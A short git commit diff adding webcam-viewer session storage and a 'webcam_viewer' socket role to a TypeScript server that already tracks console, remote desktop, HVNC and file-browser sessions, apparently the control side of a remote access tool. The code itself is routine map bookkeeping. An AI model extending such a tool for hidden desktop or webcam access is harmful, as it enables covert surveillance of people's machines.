webcam
This commit is contained in:
@@ -12,6 +12,7 @@ import type {
|
||||
|
||||
const consoleSessions = new Map<string, ConsoleSession>();
|
||||
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
|
||||
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
||||
const processSessions = new Map<string, ProcessViewer>();
|
||||
@@ -48,6 +49,28 @@ export function addRdSession(session: RemoteDesktopViewer): void {
|
||||
rdSessions.set(session.id, session);
|
||||
}
|
||||
|
||||
export function addWebcamSession(session: RemoteDesktopViewer): void {
|
||||
webcamSessions.set(session.id, session);
|
||||
}
|
||||
|
||||
export function getWebcamSession(
|
||||
sessionId: string,
|
||||
): RemoteDesktopViewer | undefined {
|
||||
return webcamSessions.get(sessionId);
|
||||
}
|
||||
|
||||
export function deleteWebcamSession(sessionId: string): boolean {
|
||||
return webcamSessions.delete(sessionId);
|
||||
}
|
||||
|
||||
export function getWebcamSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||
return Array.from(webcamSessions.values()).filter((s) => s.clientId === clientId);
|
||||
}
|
||||
|
||||
export function getAllWebcamSessions(): Map<string, RemoteDesktopViewer> {
|
||||
return webcamSessions;
|
||||
}
|
||||
|
||||
export function getRdSession(
|
||||
sessionId: string,
|
||||
): RemoteDesktopViewer | undefined {
|
||||
|
||||
@@ -5,6 +5,7 @@ export type SocketRole =
|
||||
| ClientRole
|
||||
| "console_viewer"
|
||||
| "rd_viewer"
|
||||
| "webcam_viewer"
|
||||
| "file_browser_viewer"
|
||||
| "process_viewer"
|
||||
| "notifications_viewer"
|
||||
|
||||
Reference in New Issue
Block a user